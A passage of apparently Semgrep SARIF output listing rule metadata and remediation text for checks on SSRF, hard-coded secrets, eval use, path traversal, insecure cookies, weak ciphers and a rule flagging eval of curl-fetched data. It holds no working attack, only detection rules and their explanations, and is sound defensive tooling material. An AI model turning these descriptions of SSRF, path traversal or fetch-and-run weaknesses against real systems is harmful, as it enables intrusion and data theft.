[https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Transfer Server endpoint type should not have public or null configured in order to block public access. To fix this, set your `endpoint_type` to `\"VPC\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","id":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","name":"terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-transfer-server-is-public.aws-transfer-server-is-public"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","id":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","name":"python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-pg-hardcoded-secret.python-peewee-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"help":{"markdown":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format)\n - [https://cwe.mitre.org/data/definitions/134.html](https://cwe.mitre.org/data/definitions/134.html)\n","text":"Method $METHOD in API controller $CLASS provides user arg $ARG to requests method $REQMETHOD"},"helpUri":"https://semgrep.dev/r/python.flask.security.flask-api-method-string-format.flask-api-method-string-format","id":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","name":"python.flask.security.flask-api-method-string-format.flask-api-method-string-format","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.flask-api-method-string-format.flask-api-method-string-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.tainted-url-host.tainted-url-host","id":"python.flask.security.injection.tainted-url-host.tainted-url-host","name":"python.flask.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of `exec/eval`.This can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-code-exec.tainted-code-exec","id":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","name":"python.aws-lambda.security.tainted-code-exec.tainted-code-exec","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-code-exec.tainted-code-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"MailChimp API Key detected"},"help":{"markdown":"MailChimp API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"MailChimp API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","id":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","name":"generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-mailchimp-api-key.detected-mailchimp-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://www.playframework.com/documentation/2.8.x/ScalaWS](https://www.playframework.com/documentation/2.8.x/ScalaWS)\n","text":"A parameter being passed directly into `WSClient` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.play.security.webservice-ssrf.webservice-ssrf","id":"scala.play.security.webservice-ssrf.webservice-ssrf","name":"scala.play.security.webservice-ssrf.webservice-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.webservice-ssrf.webservice-ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","id":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","name":"python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-secret.python-requests-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"help":{"markdown":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find)\n - [https://brakemanscanner.org/docs/warning_types/unscoped_find/](https://brakemanscanner.org/docs/warning_types/unscoped_find/)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/controllers/users_controller.rb)\n","text":"Found an unscoped `find(...)` with user-controllable input. If the ActiveRecord model being searched against is sensitive, this may lead to Insecure Direct Object Reference (IDOR) behavior and allow users to read arbitrary records. Scope the find to the current user, e.g. `current_user.accounts.find(params[:id])`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","id":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","name":"ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find","properties":{"precision":"very-high","tags":["CWE-639: Authorization Bypass Through User-Controlled Key","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unscoped-find.check-unscoped-find"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request)\n - [https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html](https://docs.ruby-lang.org/en/2.0.0/Net/FTP.html)\n","text":"Checks for outgoing connections to ftp servers with the 'net/ftp' package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-ftp-request.net-ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Secure cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","id":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","name":"php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-secure-false.taint-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"help":{"markdown":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie](https://flask.palletsprojects.com/en/3.0.x/api/#flask.Response.set_cookie)\n - [https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options](https://flask.palletsprojects.com/en/3.0.x/security/#set-cookie-options)\n","text":"Found a Flask cookie with insecurely configured properties.  By default the secure, httponly and samesite ar configured insecurely. cookies should be handled securely by setting `secure=True`, `httponly=True`, and `samesite='Lax'` in response.set_cookie(...). If these parameters are not properly set, your cookies are not properly protected and are at risk of being stolen by an attacker. Include the `secure=True`, `httponly=True`, `samesite='Lax'` arguments or set these to be true in the Flask configuration."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.secure-set-cookie.secure-set-cookie","id":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","name":"python.flask.security.audit.secure-set-cookie.secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.secure-set-cookie.secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"help":{"markdown":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","id":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","name":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"help":{"markdown":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure)\n - [https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/](https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/)\n","text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure","id":"go.lang.security.audit.net.pprof.pprof-debug-exposure","name":"go.lang.security.audit.net.pprof.pprof-debug-exposure","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.pprof.pprof-debug-exposure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","id":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","name":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"help":{"markdown":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","id":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","name":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password","id":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","name":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-empty-password.ssh-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","id":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","name":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval)\n - 